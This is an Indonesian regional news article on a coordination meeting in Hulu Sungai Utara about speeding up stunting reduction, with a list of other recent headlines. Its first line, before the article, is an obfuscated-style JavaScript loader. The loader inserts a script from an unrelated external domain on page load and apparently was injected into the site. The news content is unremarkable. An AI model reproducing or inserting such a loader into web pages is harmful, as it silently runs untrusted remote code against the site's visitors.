(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Upaya Pencegahan dan Penanganan Stunting di HSU


KANALKALIMANTAN.COM, AMUNTAI – Upaya pencegahan stunting di Kabupaten Hulu Sungai Utara (HSU), Badan Perencanaan Pembangunan Penelitian Pengembangan (Bappelitbang) HSU menggelar rapat Koordinasi Percepatan Penanganan Stunting (KP2S), di Aula Bappelitbang HSU, Kamis (25/3/2021).

Selain Bappelitbang HSU bersama tim Local Government Capacity Building For Acceleration Of Stunting Reduction (LGCB-ASR), juga diikuti Dinas PUPR, Dinas Pendidikan , Disdukcapil, DPPKB, Dinas Ketahanan Pangan, BPMD, Dinas Sosial, Disperkim dan LH, Kemenag dan Dinas Kesehatan.

Plt Kepala Bappelitbang Hj Ina Wahyudianty mengatakan, dengan terlaksananya kegiatan ini dapat berkoordinasi menurunkan stunting di Kabupaten HSU dengan target 24% di tahun 2021 tercapai, atau bisa lebih dari target yang ditentukan.

Rademan, Tenaga Ahli Banda LGCB-ASR menjelaskan, bimbingan teknis  terhadap aksi satu sampai dengan aksi lima yaitu, melakukan identifikasi sebaran stunting, ketersediaan program, dan kendala dalam pelaksanaan integrasi intervensi gizi, menyusun rencana kegiatan pelaksanaan integrasi intervensi gizi.

 

Bappelitbang HSU menggelar rapat Koordinasi Percepatan Penanganan Stunting (KP2S), di Aula Bappelitbang HSU, Kamis (25/3/2021). Foto: dew

Ditambah dengan menyelenggarakan rembuk stunting tingkat kabupaten/kota, memberikan kepastian hukum bagi desa dan memastikan dan memastikan tersedianya dan berfungsinya kader yang membantu pemerintah desa dalam pelaksanaan intervensi gizi.

Lebih lanjut, kata Rademan, bimbingan teknis terhadap aplikasi yang digunakan mulai dari tahun 2021 berbeda dengan aplikasi yang lama.

“Perbedaanya adalah apabila kita memerlukan data untuk presentasi harus di olah lagi sedangkan yang baru ini bisa langsung digunakan,” jelasnya.

Ia menyebut, menurunkan  angka stunting 21 indikator sebagai standar pelayanan minimal yang harus dilaksanakan oleh semua SKPD yang ada. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

Al Ghifari

Recent Posts

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

1 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

2 jam ago

Pabrik Sepatu Bata Tutup, Simpan Kenangan Haru Soekarno dan Megawati Soekarnoputri

KANALKALIMANTAN.COM, - Kabar menyedihkan datang dari salah satu perusahaan sepatu bersejarah di Indonesia yakni Bata.… Read More

2 jam ago

Pembangunan Trotoar Jalan Kemuning Dimulai, Beberapa Pagar Warga Kena Penggalian

KANALKALIMANTAN.COM, BANJARBARU – Pembangunan trotoar di kawasan Jalan Kemuning Banjarbaru, Kecamatan Banjarbaru Selatan, Kota Banjarbaru,… Read More

2 jam ago

Calon Haji Tertua Kabupaten Banjar Berusia 86 Tahun, Bupati Banjar Lepas Keberangkatan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More

4 jam ago

Dua Hari Hilang di Tengah Rawa, Kakek Syahdan Ditemukan Selamat

KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More

5 jam ago

This website uses cookies.